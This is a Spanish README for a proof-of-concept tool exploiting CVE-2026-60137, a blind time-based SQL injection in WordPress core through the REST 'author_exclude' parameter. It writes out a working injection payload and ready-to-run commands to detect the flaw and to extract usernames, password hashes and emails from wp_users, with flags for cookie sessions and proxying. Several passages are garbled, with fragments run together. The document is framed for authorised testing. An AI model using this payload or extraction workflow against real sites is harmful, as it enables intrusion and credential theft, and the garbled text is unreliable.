
Arnés de verificación y prueba de concepto no destructiva para CVE-2026-60137, una inyección SQL ciega en el núcleo de WordPress (`WP_Query::author__not_in`), accesible a través del parámetro `author_exclude` de la API REST.
Prueba de concepto no destructiva y banco de verificación para CVE-2026-60137, una
inyección SQL ciega en el núcleo de WordPress (WP_Query::author__not_in), accesible a
través del parámetro author_exclude de la API REST.
WP_Query::get_posts() construye SQL concatenando como cadena la variable de consulta
author__not_in dentro de:
... AND {wpdb->posts}.post_author NOT IN ( <value> )
El valor se sanea (con absint por elemento) solo cuando llega como un array. Si se
entrega una cadena escalar — el parámetro REST author_exclude se asigna internamente a
author__not_in — se omite el control de saneamiento is_array() y la cadena cruda
termina dentro de la cláusula NOT IN (...), lo que produce una inyección SQL (CWE-89).
Una carga útil de la forma 1) OR SLEEP(6)# produce:
post_author NOT IN ( 1) OR SLEEP(6)# )
que se interpreta como post_author NOT IN (1) OR SLEEP(6) (el ) final lo consume el
comentario #) — un oráculo ciego basado en tiempo, limpio y sin escrituras en la base
de datos.
/wp-json/batch/v1.author_exclude escalar (HTTP 400) en la ruta
de entradas estándar, por lo que el sink normalmente solo es alcanzable cuando un
plugin/tema reenvía entrada no confiable, o mediante una sesión autenticada (--cookie)
a través de la ruta por lotes.cve_2026_60137_poc.py es de solo lectura con respecto a la base de datos:
readme.html, índice
/wp-json/) para comprobar si la versión está en un rango afectado.SLEEP(0) frente a una carga útil SLEEP(n), mediante varios
vectores de entrega (rutas REST directas, ?rest_route= y el endpoint por lotes),
e informa un veredicto por vector.wp_users (user_login, user_pass, user_email)
mediante tiempo de búsqueda binaria ciega, usando estrictamente SELECT/SLEEP —
nunca escribe en la base de datos.# Solo identificación, sin enviar cargas útiles
python3 cve_2026_60137_poc.py --url https://target --safe
# Ejecutar la matriz de detección
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3
# Sesión autenticada + extraer la fila 1 de wp_users
python3 cve_2026_60137_poc.py --url https://target \
--cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1
# Enrutar a través de Burp, omitir verificación TLS, guardar evidencia legible por máquina
python3 cve_2026_60137_poc.py --url https://target \
--proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json
Esta herramienta se proporciona solo para pruebas de seguridad autorizadas — pruebas de penetración, CTFs e investigación contra sistemas que poseas o para los que tengas permiso explícito por escrito para evaluar. Ejecutarla contra sistemas sin autorización es ilegal. El autor no acepta ninguna responsabilidad por el mal uso.
Cualquier salida generada con --json-out puede contener la URL probada, la
identificación de versión y evidencia de tiempos — trátala como datos confidenciales de
la evaluación.
| Afectado | 6.8.0 – 6.8.5, 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Corregido | 6.8.6, 6.9.5, 7.0.2 (2026-07-17) |
| CVSS 3.1 | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N → 5.9 (sink independiente) |
| Encadenado | con CVE-2026-63030 (confusión de rutas por lotes REST) → 9.8 RCE sin autenticación previa en 6.9.0 – 7.0.1 |
| Flag | Predeterminado | Descripción |
|---|
--url | requerido | URL base del objetivo |
--safe | desactivado | Solo identificación; no enviar cargas útiles |
--sleep | 6 | Segundos de SLEEP() usados por el oráculo de detección |
--samples | 3 | Muestras de tiempo por medición (se usa la mediana) |
--threshold | 0.7 | Fracción de --sleep tratada como delta positivo |
--extract | desactivado | Extraer una fila de wp_users mediante el oráculo ciego |
--user-id | 1 | wp_users.ID a extraer |
--extract-sleep | 2.0 | Segundos de SLEEP() por sonda de extracción |
--limit | 64 | Máximo de caracteres por campo extraído |
--only-vector | — | Probar solo vectores cuyo nombre contenga esta cadena |
--cookie | — | Cookie autenticada para vectores que requieren autenticación |
--proxy | — | Proxy HTTP(S), p. ej. http://127.0.0.1:8080 (Burp) |
--timeout | 30 | Tiempo de espera de la solicitud en segundos |
--no-verify-tls | desactivado | Deshabilitar la verificación del certificado TLS |
--json-out | — | Escribir evidencia legible por máquina en un archivo JSON |